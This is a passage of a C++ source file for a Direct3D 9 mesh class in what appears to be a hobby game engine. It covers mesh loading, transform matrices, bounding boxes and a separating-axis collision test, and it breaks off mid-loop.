#include "D3DMesh.h" #include "ResourceManager.H" #include "BufferReader.h" //#include "DebugMemory.h" IDirect3DVertexDeclaration9* VertexPos::Decl = 0; IDirect3DVertexDeclaration9* VertexPosSkin::Decl = 0; IDirect3DVertexDeclaration9* VertexPosBones::Decl = 0; VertexPosSkin::VertexPosSkin(float x, float y, float z, float nx, float ny, float nz, float u, float v, float a_jiraya, int a_index) { float roundedX = x + 0.5f; int tt = (int)roundedX; pos = D3DXVECTOR3(x,y,z); normal = D3DXVECTOR3(nx,ny,nz); tex0 = D3DXVECTOR2(u,v); jiraya = a_jiraya; index = a_index; if(tt == 2 || tt == 5) { index = 1; } else { index = 0; } } VertexPosBones::VertexPosBones(float x, float y, float z, float nx, float ny, float nz, float u, float v, float a_boneWeight0, int a_boneIndex0, int a_boneIndex1) { float roundedX = x + 0.5f; int tt = (int)roundedX; pos = D3DXVECTOR3(x,y,z); normal = D3DXVECTOR3(nx,ny,nz); tex0 = D3DXVECTOR2(u,v); boneWeight0 = a_boneWeight0; boneIndex0 = a_boneIndex0; boneIndex1 = a_boneIndex1; } D3DMesh::D3DMesh():Mesh() { m_hack = NULL; m_vertices = NULL; m_indices = NULL; m_transformedBox = NULL; //m_collisionPoints = NULL; m_topCollisionArea = NULL; m_fleps = D3DXVECTOR3(0.0f, 0.0f, 0.0f); m_auei = D3DXVECTOR3(0.0f, 0.0f, 0.0f); m_numShaderPasses = 1; //m_fxHandlesInitialized = false; SetPosition(0.0f, 0.0f, 0.0f); m_xMesh = NULL; m_ID = -1; //m_materials = NULL; //m_textures = NULL; m_vertexDeclaration = NULL; m_effect = NULL; m_xMesh = NULL; //m_currentTex = NULL; m_boundingBox = NULL; } void D3DMesh::SetXMesh(ID3DXMesh *a_mesh) { if(m_xMesh) { delete m_xMesh; m_xMesh = NULL; } m_xMesh = a_mesh; } void D3DMesh::LoadFromC3DEFile(char *meshBuffer, bool a_calculateAABB) { BufferReader * t_reader = new BufferReader(meshBuffer); int totalVertices = t_reader->ReadNextInt(); if(m_vertices) { m_vertices->clear(); delete m_vertices; m_vertices = NULL; } if(m_indices) { m_indices->clear(); delete m_indices; m_indices = NULL; } m_vertices = new vector<VertexPos>; m_indices = new vector<int>; for(int i = 0 ; i < totalVertices; i++) { float posX = t_reader->ReadNextFloat(); float posY = t_reader->ReadNextFloat(); float posZ = t_reader->ReadNextFloat(); float normalX = t_reader->ReadNextFloat(); float normalY = t_reader->ReadNextFloat(); float normalZ = t_reader->ReadNextFloat(); float u = t_reader->ReadNextFloat(); float v = t_reader->ReadNextFloat(); m_vertices->push_back(VertexPos(posX, posY, posZ, normalX, normalY, normalZ, u, v)); } for(int i = 0 ; i < totalVertices; i++) { m_indices->push_back(t_reader->ReadNextInt()); } if(!a_calculateAABB) { float minX = t_reader->ReadNextFloat(); float minY = t_reader->ReadNextFloat(); float minZ = t_reader->ReadNextFloat(); float maxX = t_reader->ReadNextFloat(); float maxY = t_reader->ReadNextFloat(); float maxZ = t_reader->ReadNextFloat(); m_boundingBox = new AABB(D3DXVECTOR3(minX, minY, minZ), D3DXVECTOR3(maxX, maxY, maxZ)); } delete t_reader; t_reader = NULL; } void D3DMesh::CreateXMesh(IDirect3DDevice9 *a_device, bool a_calculateAABB) { if(m_xMesh) { ReleaseCOM(m_xMesh); delete m_xMesh; m_xMesh = NULL; } D3DVERTEXELEMENT9 VertexPosElements[] = { {0, 0, D3DDECLTYPE_FLOAT3, D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_POSITION, 0}, {0, 12, D3DDECLTYPE_FLOAT3, D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_NORMAL, 0}, {0, 24, D3DDECLTYPE_FLOAT2, D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_TEXCOORD, 0}, D3DDECL_END() }; D3DVERTEXELEMENT9 elems[MAX_FVF_DECL_SIZE]; int totalVertices = m_vertices->size(); int totalIndices = m_indices->size(); DWORD indices = totalIndices/3; DWORD vertices = totalVertices; HRESULT err = D3DXCreateMesh(indices, vertices, D3DXMESH_MANAGED, VertexPosElements, a_device, &m_xMesh); VertexPos *v = NULL; m_xMesh->LockVertexBuffer(0, (void**)&v); for(int i = 0; i < totalVertices; i++) { v[i] = GetVertices()->at(i); } D3DXVECTOR3 t_min; D3DXVECTOR3 t_max; HR(D3DXComputeBoundingBox((D3DXVECTOR3*)v, m_xMesh->GetNumVertices(), sizeof(VertexPos), &t_min, &t_max)); if(a_calculateAABB) { m_boundingBox = new AABB(t_min, t_max); //SetCollisionPoints(t_min, t_max); CalculateTopCollisionArea(); CalculateOBB(t_min, t_max); } m_xMesh->UnlockVertexBuffer(); WORD *k = NULL; m_xMesh->LockIndexBuffer(0, (void**)&k); for(int i = 0; i < totalIndices; i++) { k[i] = GetIndices()->at(i); } m_xMesh->UnlockIndexBuffer(); } void D3DMesh::SetBoundingBox(D3DXVECTOR3 a_min, D3DXVECTOR3 a_max) { if(m_boundingBox) { delete m_boundingBox; m_boundingBox = NULL; } m_boundingBox = new AABB(a_min, a_max); //SetCollisionPoints(a_min, a_max); CalculateTopCollisionArea(); } AABB* D3DMesh::GetBoundingBox() { return m_boundingBox; } void D3DMesh::FreeTextures() { if(m_textures) { int t_size = m_textures->size(); for(int i = 0; i < t_size; i++) { delete m_textures->at(i); } delete m_textures; m_textures = NULL; } } void D3DMesh::FreeMaterials() { if(m_materials) { int t_size = m_materials->size(); for(int i = 0; i < t_size; i++) { delete m_materials->at(i); } delete m_materials; m_materials = NULL; } } void D3DMesh::LoadFromXFile(const std::string &filename, IDirect3DDevice9* a_device, bool a_calculateAABB) { FreeMaterials(); FreeTextures(); m_materials = new std::vector<Material*>; m_textures = new std::vector<Image*>; ID3DXMesh *meshSys = 0; ID3DXBuffer *adjBuffer = 0; ID3DXBuffer * materialBuffer = 0; DWORD numMaterials = 0; HR(D3DXLoadMeshFromX(filename.c_str(), D3DXMESH_SYSTEMMEM, a_device, &adjBuffer, &materialBuffer, 0, &numMaterials, &meshSys)); m_numSubsets = (int)numMaterials; D3DVERTEXELEMENT9 elems[MAX_FVF_DECL_SIZE]; HR(meshSys->GetDeclaration(elems)); bool hasNormals = false; for(int i = 0; i< MAX_FVF_DECL_SIZE; ++i) { if(elems[i].Stream == 0xff) break; if(elems[i].Type == D3DDECLTYPE_FLOAT3 && elems[i].Usage == D3DDECLUSAGE_NORMAL && elems[i].UsageIndex == 0) { hasNormals = true; break; } } D3DVERTEXELEMENT9 elements[64]; UINT numElements = 0; D3DVERTEXELEMENT9 VertexPosElements[] = { {0, 0, D3DDECLTYPE_FLOAT3, D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_POSITION, 0}, {0, 12, D3DDECLTYPE_FLOAT3, D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_NORMAL, 0}, {0, 24, D3DDECLTYPE_FLOAT2, D3DDECLMETHOD_DEFAULT, D3DDECLUSAGE_TEXCOORD, 0}, D3DDECL_END() }; IDirect3DVertexDeclaration9 *Decl; HR(a_device->CreateVertexDeclaration(VertexPosElements, &Decl)); Decl->GetDeclaration(elements, &numElements); ID3DXMesh *temp = 0; HR(meshSys->CloneMesh(D3DXMESH_SYSTEMMEM, elements, a_device, &temp)); ReleaseCOM(meshSys); meshSys = temp; if(hasNormals == false) { HR(D3DXComputeNormals(meshSys, 0)); } HR(meshSys->Optimize(D3DXMESH_MANAGED | D3DXMESHOPT_COMPACT | D3DXMESHOPT_ATTRSORT | D3DXMESHOPT_VERTEXCACHE, (DWORD *)adjBuffer->GetBufferPointer(), 0, 0, 0, &m_xMesh)); ReleaseCOM(meshSys); ReleaseCOM(adjBuffer); if(materialBuffer != 0 && numMaterials != 0) { D3DXMATERIAL * d3dxmaterial = (D3DXMATERIAL*)materialBuffer->GetBufferPointer(); for(DWORD i = 0; i < numMaterials; ++i) { Material *t = new Material(d3dxmaterial[i].MatD3D.Diffuse, d3dxmaterial[i].MatD3D.Diffuse, d3dxmaterial[i].MatD3D.Specular, d3dxmaterial[i].MatD3D.Power); //m_materials->push_back(t); m_materials->push_back(t); if(d3dxmaterial[i].pTextureFilename != 0) { IDirect3DTexture9 *tex = 0; char *texFN = d3dxmaterial[i].pTextureFilename; //HR(D3DXCreateTextureFromFile(a_device, texFN, &tex)); tex = ResourceManager::GetInstance()->GetTextureByFilename(texFN); D3DImage *t_image = new D3DImage(tex); m_textures->push_back((Image*)t_image); } } } D3DXVECTOR3 t_min; D3DXVECTOR3 t_max; VertexPos *v = NULL; m_xMesh->LockVertexBuffer(0, (void**)&v); HR(D3DXComputeBoundingBox((D3DXVECTOR3*)v, m_xMesh->GetNumVertices(), sizeof(VertexPos), &t_min, &t_max)); m_xMesh->UnlockVertexBuffer(); if(a_calculateAABB) { m_boundingBox = new AABB(t_min, t_max); CalculateTopCollisionArea(); } //SetCollisionPoints(t_min, t_max); //m_obb = new OBB(t_min, t_max); //m_boundingBox = new AABB(); ReleaseCOM(materialBuffer); } D3DMesh::~D3DMesh() { if(m_vertices) { delete m_vertices; m_vertices = NULL; } if(m_indices) { delete m_indices; m_indices =NULL; } if(m_boundingBox != NULL) { delete m_boundingBox; m_boundingBox = NULL; } if(m_topCollisionArea != NULL) { delete m_topCollisionArea; m_topCollisionArea = NULL; } FreeTextures(); FreeMaterials(); if(m_xMesh) { ReleaseCOM(m_xMesh); //HR(m_xMesh->Release()); int gffd = 9876; } } void D3DMesh::SetShaderHandlers() { m_effect->SetTransformMatrix(GetTransformMatrix()); //m_effect->SetTransformMatrix(m_transformMatrix); } void D3DMesh::Update(int deltaTime) { m_updateTime = deltaTime; } void D3DMesh::SetVertices(vector<VertexPos> * a_vertices) { if(m_vertices) { delete m_vertices; m_vertices = NULL; } m_vertices = a_vertices; } void D3DMesh::SetIndices(vector<int> * a_indices) { if(m_indices) { delete m_indices; m_indices = NULL; } m_indices = a_indices; } bool auei = false; D3DXMATRIX D3DMesh::GetTransformMatrix() { auei = true; #define RADIAN_TO_DEGREES 57.29577951308232286465f D3DXMATRIX matRotation,matTranslation,matScale; int mat; D3DXVECTOR3 vAxis1, vAxis2, vAxis3; D3DXQUATERNION qR; // Set default translation D3DXMatrixIdentity( &matTranslation ); D3DXMatrixScaling( &matScale, m_scaleX, m_scaleY, m_scaleZ ); vAxis2.x = 0.0f; vAxis2.y = 1.0f; vAxis2.z = 0.0f; D3DXQuaternionNormalize(&qR, &qR); D3DXQuaternionRotationAxis( &qR, &vAxis2, m_rotateY/RADIAN_TO_DEGREES ); D3DXMatrixRotationQuaternion( &matRotation, &qR ); D3DXMatrixMultiply( &matTranslation, &matRotation , &matTranslation ); vAxis1.x = 1.0f; vAxis1.y = 0.0f; vAxis1.z = 0.0f; D3DXQuaternionNormalize(&qR, &qR); D3DXQuaternionRotationAxis( &qR, &vAxis1, m_rotateX/RADIAN_TO_DEGREES ); D3DXMatrixRotationQuaternion( &matRotation, &qR ); D3DXMatrixMultiply( &matTranslation, &matRotation , &matTranslation ); vAxis3.x = 0.0f; vAxis3.y = 0.0f; vAxis3.z = 1.0f; D3DXQuaternionNormalize(&qR, &qR); D3DXQuaternionRotationAxis( &qR, &vAxis3, m_rotateZ/RADIAN_TO_DEGREES ); D3DXMatrixRotationQuaternion( &matRotation, &qR ); D3DXMatrixMultiply( &matTranslation, &matRotation , &matTranslation ); D3DXMatrixMultiply(&matTranslation, &matScale, &matTranslation); // Move to X,Y,Z coordinates matTranslation._41 = m_x; matTranslation._42 = m_y; matTranslation._43 = m_z; // Set the matrix return matTranslation; } void D3DMesh::SetTransformMatrix(D3DXMATRIX matrix) { m_transformMatrix = matrix; m_x = m_transformMatrix._41; m_y = m_transformMatrix._42; m_z = m_transformMatrix._43; m_scaleX = m_transformMatrix._11; m_scaleY = m_transformMatrix._22; m_scaleZ = m_transformMatrix._33; } IDirect3DVertexBuffer9 * D3DMesh::GetVertexBuffer() { return m_vertexBuffer; } IDirect3DIndexBuffer9 * D3DMesh::GetIndexBuffer() { return m_indexBuffer; } void D3DMesh::SetBuffers(IDirect3DVertexBuffer9 *vertexBuffer, IDirect3DIndexBuffer9 *indexBuffer) { m_vertexBuffer = vertexBuffer; m_indexBuffer = indexBuffer; } TopCollisionArea * D3DMesh::GetTopCollisionArea() { return m_topCollisionArea; } void D3DMesh::SetTopCollisionArea(D3DXVECTOR3 upLeft, D3DXVECTOR3 upRight, D3DXVECTOR3 downLeft, D3DXVECTOR3 downRight) { if(m_topCollisionArea) { delete m_topCollisionArea; m_topCollisionArea = NULL; } m_topCollisionArea = new TopCollisionArea(upLeft, upRight, downLeft, downRight); CalculateCollisionRadius(); } float D3DMesh::GetCollisionRadius() { return m_collisionRadius; } void D3DMesh::CalculateCollisionRadius() { float radius = sqrtf((m_topCollisionArea->GetUpLeft().x * m_topCollisionArea->GetUpLeft().x) + (m_topCollisionArea->GetUpLeft().z * m_topCollisionArea->GetUpLeft().z)); float candidate = sqrtf((m_topCollisionArea->GetUpRight().x * m_topCollisionArea->GetUpRight().x) + (m_topCollisionArea->GetUpRight().z * m_topCollisionArea->GetUpRight().z)); if(candidate > radius) { radius = candidate; } candidate = sqrtf((m_topCollisionArea->GetDownLeft().x * m_topCollisionArea->GetDownLeft().x) + (m_topCollisionArea->GetDownLeft().z * m_topCollisionArea->GetDownLeft().z)); if(candidate > radius) { radius = candidate; } candidate = sqrtf((m_topCollisionArea->GetDownRight().x * m_topCollisionArea->GetDownRight().x) + (m_topCollisionArea->GetDownRight().z * m_topCollisionArea->GetDownRight().z)); if(candidate > radius) { radius = candidate; } } void D3DMesh::CalculateOBB(D3DXVECTOR3 &meshMin, D3DXVECTOR3 &meshMax) { m_obb = new OBB(D3DXVECTOR3(0.0f, 0.0f, 0.0f), meshMax - meshMin); } void D3DMesh::CalculateTopCollisionArea() { D3DXVECTOR3 t_min = GetBoundingBox()->minPoint; D3DXVECTOR3 t_max = GetBoundingBox()->maxPoint; SetTopCollisionArea(D3DXVECTOR3(t_min.x, t_max.y, t_max.z), D3DXVECTOR3(t_max.x, t_max.y, t_max.z), D3DXVECTOR3(t_min.x, t_max.y, t_min.z), D3DXVECTOR3(t_max.x, t_max.y, t_min.z)); } #if 0 bool D3DMesh::Collides(D3DMesh *target) { D3DXVECTOR3 minPoint = GetBoundingBox()->minPoint; D3DXVECTOR3 maxPoint = GetBoundingBox()->maxPoint; D3DXVECTOR3 targetMinPoint = target->GetBoundingBox()->minPoint; D3DXVECTOR3 targetMaxPoint = target->GetBoundingBox()->maxPoint; D3DXVECTOR3 t_00 = D3DXVECTOR3(minPoint.x, maxPoint.y, minPoint.z); D3DXVECTOR3 t_01 = D3DXVECTOR3(maxPoint.x, maxPoint.y, maxPoint.z); D3DXVECTOR3 t_02 = D3DXVECTOR3(minPoint.x, maxPoint.y, maxPoint.z); D3DXVECTOR3 t_03 = D3DXVECTOR3(maxPoint.x, maxPoint.y, minPoint.z); D3DXVECTOR3 t_10 = D3DXVECTOR3(targetMinPoint.x, targetMaxPoint.y, targetMinPoint.z); D3DXVECTOR3 t_11 = D3DXVECTOR3(targetMaxPoint.x, targetMaxPoint.y, targetMaxPoint.z); D3DXVECTOR3 t_12 = D3DXVECTOR3(targetMinPoint.x, targetMaxPoint.y, targetMaxPoint.z); D3DXVECTOR3 t_13 = D3DXVECTOR3(targetMaxPoint.x, targetMaxPoint.y, targetMinPoint.z); D3DXVECTOR4 t_quat00; D3DXVECTOR4 t_quat01; D3DXVECTOR4 t_quat02; D3DXVECTOR4 t_quat03; D3DXVECTOR4 t_quat10; D3DXVECTOR4 t_quat11; D3DXVECTOR4 t_quat12; D3DXVECTOR4 t_quat13; D3DXMATRIX t_matrix = GetTransformMatrix(); D3DXMATRIX t_targetMatrix = target->GetTransformMatrix(); D3DXVec3Transform(&t_quat00, &t_00, &t_matrix); D3DXVec3Transform(&t_quat01, &t_01, &t_matrix); D3DXVec3Transform(&t_quat02, &t_02, &t_matrix); D3DXVec3Transform(&t_quat03, &t_03, &t_matrix); D3DXVec3Transform(&t_quat10, &t_10, &t_targetMatrix); D3DXVec3Transform(&t_quat11, &t_11, &t_targetMatrix); D3DXVec3Transform(&t_quat12, &t_12, &t_targetMatrix); D3DXVec3Transform(&t_quat13, &t_13, &t_targetMatrix); t_00.x = t_quat00.x; t_00.y = t_quat00.y; t_00.z = t_quat00.z; t_01.x = t_quat01.x; t_01.y = t_quat01.y; t_01.z = t_quat01.z; t_02.x = t_quat02.x; t_02.y = t_quat02.y; t_02.z = t_quat02.z; t_03.x = t_quat03.x; t_03.y = t_quat03.y; t_03.z = t_quat03.z; t_10.x = t_quat10.x; t_10.y = t_quat10.y; t_10.z = t_quat10.z; t_11.x = t_quat11.x; t_11.y = t_quat11.y; t_11.z = t_quat11.z; t_12.x = t_quat12.x; t_12.y = t_quat12.y; t_12.z = t_quat12.z; t_13.x = t_quat13.x; t_13.y = t_quat13.y; t_13.z = t_quat13.z; float tBox10X = t_00.x; float tBox10Y = t_00.z; float tBox11X = t_01.x; float tBox11Y = t_01.z; float tBox12X = t_02.x; float tBox12Y = t_02.z; float tBox13X = t_03.x; float tBox13Y = t_03.z; float tBox20X = t_10.x; float tBox20Y = t_10.z; float tBox21X = t_11.x; float tBox21Y = t_11.z; float tBox22X = t_12.x; float tBox22Y = t_12.z; float tBox23X = t_13.x; float tBox23Y = t_13.z; float aURx = tBox11X; float aURy = tBox11Y; float aULx = tBox10X; float aULy = tBox10Y; float aLRx = tBox13X; float aLRy = tBox13Y; float aLLx = tBox12X; float aLLy = tBox12Y; float bULx = tBox20X; float bULy = tBox20Y; float bLLx = tBox22X; float bLLy = tBox22Y; float bURx = tBox21X; float bURy = tBox21Y; float bLRx = tBox23X; float bLRy = tBox23Y; float axis1X = aURx - aULx; float axis1Y = aURy - aULy; //float axis1Y = aULy - aURy; float axis2X = aURx - aLRx; float axis2Y = aURy - aLRy; //float axis2Y = aLRy - aURy; float axis3X = bULx - bLLx; float axis3Y = bULy - bLLy; //float axis3Y = bLLy - bULy; float axis4X = bULx - bURx; float axis4Y = bULy - bURy; //float axis4Y = bURy - bULy; float multiplier = 100.0f; //g.drawLine(0, 0, (int)(axis1X * multiplier), (int)(axis1Y * multiplier)); //g.drawLine(0, 0, (int)(axis2X * multiplier), (int)(axis2Y * multiplier)); //g.drawLine(0, 0, (int)(axis3X * multiplier), (int)(axis3Y * multiplier)); //g.drawLine(0, 0, (int)(axis4X * multiplier), (int)(axis4Y * multiplier)); float axisX[4] = {axis1X, axis2X, axis3X, axis4X}; float axisY[4] = {axis1Y, axis2Y, axis3Y, axis4Y}; float aPointsX[4] = {aURx, aULx, aLRx, aLLx}; float aPointsY[4] = {aURy, aULy, aLRy, aLLy}; float bPointsX[4] = {bURx, bULx, bLRx, bLLx}; float bPointsY[4] = {bURy, bULy, bLRy, bLLy}; float aProjectedX[4]; float aProjectedY[4]; float bProjectedX[4]; float bProjectedY[4]; for(int i = 0 ; i< 4; i++) { float lowPart = (axisX[i]*axisX[i]) + (axisY[i] * axisY[i]); float minA = 0.0f; float maxA = 0.0f; float minB = 0.0f; float maxB = 0.0f; for(int j = 0; j < 4; j++) { float highPart = (aPointsX[j] * axisX[i]) + (aPointsY[j] * axisY[i]); aProjectedX[j] = (highPart / lowPart) * axisX[i]; aProjectedY[j] = (highPart / lowPart) * axisY[i]; //g.setColor(colors[j]); //g.fillRect((int)aProjectedX[j], (int)aProjectedY[j], (int)10, (int)10); if(j == 0) { minA = (aProjectedX[j] * axisX[i]) + (aProjectedY[j] * axisY[i]); maxA = (aProjectedX[j] * axisX[i]) + (aProjectedY[j] * axisY[i]); } else { float candidate = (aProjectedX[j] * axisX[i]) + (aProjectedY[j] * axisY[i]); if(candidate < minA) { minA = candidate; } if(candidate > maxA) { maxA = candidate; } } } for(int k = 0; k < 4; k++) { float highPart = (bPointsX[k] * axisX[i]) + (bPointsY[k] * axisY[i]); bProjectedX[k] = (highPart / lowPart) * axisX[i]; bProjectedY[k] = (highPart / lowPart) * axisY[i]; //g.setColor(colors2[k]); //g.fillRect((int)bProjectedX[k], (int)bProjectedY[k], (int)10, (int)10); if(k == 0) { minB = (bProjectedX[k] * axisX[i]) + (bProjectedY[k] * axisY[i]); maxB = (bProjectedX[k] * axisX[i]) + (bProjectedY[k] * axisY[i]); } else { float candidate = (bProjectedX[k] * axisX[i]) + (bProjectedY[k] * axisY[i]); if(candidate < minB) { minB = candidate; } if(candidate > maxB) { maxB = candidate; } } } // boolean collisionOnAxis = (minB < maxA) || (maxB > minA) || (minB == maxA) || (maxB == minA); bool collisionOnAxis = false; if(minB > minA) { collisionOnAxis = minB < maxA; } else { collisionOnAxis = minA < maxB; } if(!collisionOnAxis) { return false; } } return true; } #endif #if 0 void D3DMesh::SetCollisionPoints(D3DXVECTOR3 a_min, D3DXVECTOR3 a_max) { if(m_collisionPoints) { delete m_collisionPoints; m_collisionPoints = NULL; } m_collisionPoints = new AABB(a_min, a_max); } AABB * D3DMesh::GetCollisionPoints() { return m_collisionPoints; } #endif #if 0 void D3DMesh::CalculateRealBoxPoints() { D3DXVECTOR3 minPoint = GetBoundingBox()->minPoint; D3DXVECTOR3 maxPoint = GetBoundingBox()->maxPoint; D3DXVECTOR3 t_0 = minPoint; D3DXVECTOR3 t_1 = D3DXVECTOR3(minPoint.x, minPoint.y, maxPoint.z); D3DXVECTOR3 t_2 = D3DXVECTOR3(maxPoint.x, minPoint.y, maxPoint.z); D3DXVECTOR3 t_3 = D3DXVECTOR3(maxPoint.x, minPoint.y, minPoint.z); D3DXVECTOR3 t_4 = D3DXVECTOR3(minPoint.x, maxPoint.y, minPoint.z); D3DXVECTOR3 t_5 = D3DXVECTOR3(minPoint.x, maxPoint.y, maxPoint.z); D3DXVECTOR3 t_6 = maxPoint; D3DXVECTOR3 t_7 = D3DXVECTOR3(maxPoint.x, maxPoint.y, minPoint.z); D3DXVECTOR4 t_quat0; D3DXVECTOR4 t_quat1; D3DXVECTOR4 t_quat2; D3DXVECTOR4 t_quat3; D3DXVECTOR4 t_quat4; D3DXVECTOR4 t_quat5; D3DXVECTOR4 t_quat6; D3DXVECTOR4 t_quat7; D3DXMATRIX t_matrix = GetTransformMatrix(); D3DXVec3Transform(&t_quat0, &t_0, &t_matrix); D3DXVec3Transform(&t_quat1, &t_1, &t_matrix); D3DXVec3Transform(&t_quat2, &t_2, &t_matrix); D3DXVec3Transform(&t_quat3, &t_3, &t_matrix); D3DXVec3Transform(&t_quat4, &t_4, &t_matrix); D3DXVec3Transform(&t_quat5, &t_5, &t_matrix); D3DXVec3Transform(&t_quat6, &t_6, &t_matrix); D3DXVec3Transform(&t_quat7, &t_7, &t_matrix); t_0.x = t_quat0.x; t_0.y = t_quat0.y; t_0.z = t_quat0.z; t_1.x = t_quat1.x; t_1.y = t_quat1.y; t_1.z = t_quat1.z; t_2.x = t_quat2.x; t_2.y = t_quat2.y; t_2.z = t_quat2.z; t_3.x = t_quat3.x; t_3.y = t_quat3.y; t_3.z = t_quat3.z; t_4.x = t_quat4.x; t_4.y = t_quat4.y; t_4.z = t_quat4.z; t_5.x = t_quat5.x; t_5.y = t_quat5.y; t_5.z = t_quat5.z; t_6.x = t_quat6.x; t_6.y = t_quat6.y; t_6.z = t_quat6.z; t_7.x = t_quat7.x; t_7.y = t_quat7.y; t_7.z = t_quat7.z; float minX = t_0.x; float minY = t_0.y; float minZ = t_0.z; float maxX = t_0.x; float maxY = t_0.y; float maxZ = t_0.z; D3DXVECTOR3 t_vecs[7]; t_vecs[0] = t_1; t_vecs[1] = t_2; t_vecs[2] = t_3; t_vecs[3] = t_4; t_vecs[4] = t_5; t_vecs[5] = t_6; t_vecs[6] = t_7; for(int i = 0 ; i < 7; i++) { if(t_vecs[i].x < minX) { minX = t_vecs[i].x; } if(t_vecs[i].x > maxX) { maxX = t_vecs[i].x; } if(t_vecs[i].y < minY) { minY = t_vecs[i].y; } if(t_vecs[i].y > maxY) { maxY = t_vecs[i].y; } if(t_vecs[i].z < minZ) { minZ = t_vecs[i].z; } if(t_vecs[i].z > maxZ) { maxZ = t_vecs[i].z; } } D3DXVECTOR3 t_min = D3DXVECTOR3(minX, minY, minX); D3DXVECTOR3 t_max = D3DXVECTOR3(maxX, maxY, maxX); SetBoundingBox(t_min, t_max); } #endif //bool Game::boxesCollides(Renderer *renderer) bool D3DMesh::Collides(D3DMesh *target) { #if 0 float diffX = target->GetX() - GetX(); float diffZ = target->GetZ() - GetZ(); float distance = sqrtf((diffX * diffX) + (diffZ * diffZ)); float transformedRadius = target if(distance > GetCollisionRadius()) { return false; } #endif D3DXVECTOR3 t_00 = GetTopCollisionArea()->GetUpLeft(); D3DXVECTOR3 t_01 = GetTopCollisionArea()->GetUpRight(); D3DXVECTOR3 t_02 = GetTopCollisionArea()->GetDownLeft(); D3DXVECTOR3 t_03 = GetTopCollisionArea()->GetDownRight(); D3DXVECTOR3 t_10 = target->GetTopCollisionArea()->GetUpLeft(); D3DXVECTOR3 t_11 = target->GetTopCollisionArea()->GetUpRight(); D3DXVECTOR3 t_12 = target->GetTopCollisionArea()->GetDownLeft(); D3DXVECTOR3 t_13 = target->GetTopCollisionArea()->GetDownRight(); D3DXVECTOR4 t_quat00; D3DXVECTOR4 t_quat01; D3DXVECTOR4 t_quat02; D3DXVECTOR4 t_quat03; D3DXVECTOR4 t_quat10; D3DXVECTOR4 t_quat11; D3DXVECTOR4 t_quat12; D3DXVECTOR4 t_quat13; D3DXMATRIX t_matrix = GetTransformMatrix(); D3DXMATRIX t_targetMatrix = target->GetTransformMatrix(); D3DXVec3Transform(&t_quat00, &t_00, &t_matrix); D3DXVec3Transform(&t_quat01, &t_01, &t_matrix); D3DXVec3Transform(&t_quat02, &t_02, &t_matrix); D3DXVec3Transform(&t_quat03, &t_03, &t_matrix); D3DXVec3Transform(&t_quat10, &t_10, &t_targetMatrix); D3DXVec3Transform(&t_quat11, &t_11, &t_targetMatrix); D3DXVec3Transform(&t_quat12, &t_12, &t_targetMatrix); D3DXVec3Transform(&t_quat13, &t_13, &t_targetMatrix); t_00.x = t_quat00.x; t_00.y = t_quat00.y; t_00.z = t_quat00.z; t_01.x = t_quat01.x; t_01.y = t_quat01.y; t_01.z = t_quat01.z; t_02.x = t_quat02.x; t_02.y = t_quat02.y; t_02.z = t_quat02.z; t_03.x = t_quat03.x; t_03.y = t_quat03.y; t_03.z = t_quat03.z; t_10.x = t_quat10.x; t_10.y = t_quat10.y; t_10.z = t_quat10.z; t_11.x = t_quat11.x; t_11.y = t_quat11.y; t_11.z = t_quat11.z; t_12.x = t_quat12.x; t_12.y = t_quat12.y; t_12.z = t_quat12.z; t_13.x = t_quat13.x; t_13.y = t_quat13.y; t_13.z = t_quat13.z; float tBox10X = t_00.x; float tBox10Y = t_00.z; float tBox11X = t_01.x; float tBox11Y = t_01.z; float tBox12X = t_02.x; float tBox12Y = t_02.z; float tBox13X = t_03.x; float tBox13Y = t_03.z; float tBox20X = t_10.x; float tBox20Y = t_10.z; float tBox21X = t_11.x; float tBox21Y = t_11.z; float tBox22X = t_12.x; float tBox22Y = t_12.z; float tBox23X = t_13.x; float tBox23Y = t_13.z; float aURx = tBox11X; float aURy = tBox11Y; float aULx = tBox10X; float aULy = tBox10Y; float aLRx = tBox13X; float aLRy = tBox13Y; float aLLx = tBox12X; float aLLy = tBox12Y; float bULx = tBox20X; float bULy = tBox20Y; float bLLx = tBox22X; float bLLy = tBox22Y; float bURx = tBox21X; float bURy = tBox21Y; float bLRx = tBox23X; float bLRy = tBox23Y; float axis1X = aURx - aULx; float axis1Y = aURy - aULy; float axis2X = aURx - aLRx; float axis2Y = aURy - aLRy; float axis3X = bULx - bLLx; float axis3Y = bULy - bLLy; float axis4X = bULx - bURx; float axis4Y = bULy - bURy; float multiplier = 100.0f; //g->DrawLine(0, 0, (int)(axis1X * multiplier), (int)(axis1Y * multiplier), 0xff0000ff); //g->DrawLine(0, 0, (int)(axis2X * multiplier), (int)(axis2Y * multiplier), 0xff0000ff); //g->DrawLine(0, 0, (int)(axis3X * multiplier), (int)(axis3Y * multiplier), 0xff0000ff); //g->DrawLine(0, 0, (int)(axis4X * multiplier), (int)(axis4Y * multiplier), 0xff0000ff); axisX[0] = axis1X; axisX[1] = axis2X; axisX[2] = axis3X; axisX[3] = axis4X; axisY[0] = axis1Y; axisY[1] = axis2Y; axisY[2] = axis3Y; axisY[3] = axis4Y; aPointsX[0] = aULx; aPointsX[1] = aURx; aPointsX[2] = aLLx; aPointsX[3] = aLRx; aPointsY[0] = aULy; aPointsY[1] = aURy; aPointsY[2] = aLLy; aPointsY[3] = aLRy; bPointsX[0] = bULx; bPointsX[1] = bURx; bPointsX[2] = bLLx; bPointsX[3] = bLRx; bPointsY[0] = bULy; bPointsY[1] = bURy; bPointsY[2] = bLLy; bPointsY[3] = bLRy; bool retValue = true; for(int i = 0 ; i< 4; i++) { float lowPart = (axisX[i]*axisX[i]) + (axisY[i] * axisY[i]); float minA = 0.0f; float maxA = 0.0f; float minB = 0.0f; float maxB = 0.0f; for(int j = 0; j < 4; j++) { float highPart = (aPointsX[j] * axisX[i]) + (aPointsY[j] * axisY[i]); aProjectedX[j] = (highPart / lowPart) * axisX[i]; aProjectedY[j] = (highPart / lowPart) * axisY[i]; //g->DrawFillRect((int)aProjectedX[j], (int)aProjectedY[j], (int)10, (int)10, colors[j]); if(j == 0) { minA = (aProjectedX[j] * axisX[i]) + (aProjectedY[j] * axisY[i]); maxA = (aProjectedX[j] * axisX[i]) + (aProjectedY[j] * axisY[i]); } else { float candidate = (aProjectedX[j] * axisX[i]) + (aProjectedY[j] * axisY[i]); if(candidate < minA) { minA = candidate; } if(candidate > maxA) { maxA = candidate; } } } for(int k = 0; 